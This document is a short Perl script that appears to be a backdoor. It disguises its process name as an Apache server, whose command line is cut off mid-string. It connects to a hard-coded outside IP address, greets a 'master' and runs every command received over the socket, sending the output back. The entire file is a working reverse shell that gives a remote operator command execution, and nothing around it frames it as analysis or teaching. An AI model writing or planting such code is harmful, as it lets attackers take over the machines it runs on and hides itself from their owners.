#!/usr/bin/perl

$0 = "/usr/sbin/apache2 -D DEFAULT_VHOST -D SSL -D PHP4 -D MAILMAN -D NAGIOS -D SSL_DEFAULT_VHOST -d /usr/lib/apache2 -f /etc/apache2/httpd.conf -E /var/log/$

use strict;
use Socket;

my $host = '82.58.228.1';
my $port = 4672;

my $proto = getprotobyname('tcp');
socket(my $sock, PF_INET, SOCK_STREAM, $proto);
my $sin = sockaddr_in($port, inet_aton($host));
connect($sock, $sin) || exit -1;

my $old_fh = select($sock); $| = 1; select($old_fh);

print $sock "Hello master ", scalar localtime(), "\n\n";

my $cmd;
my $out;
while($cmd = <$sock>) {
 $cmd =~ s/^\s+//;
 $cmd =~ s/\s+$//;
 print $sock "command: $cmd\n";
 $out = `$cmd`;
 print $sock "output: $out\n"
}

close $sock;

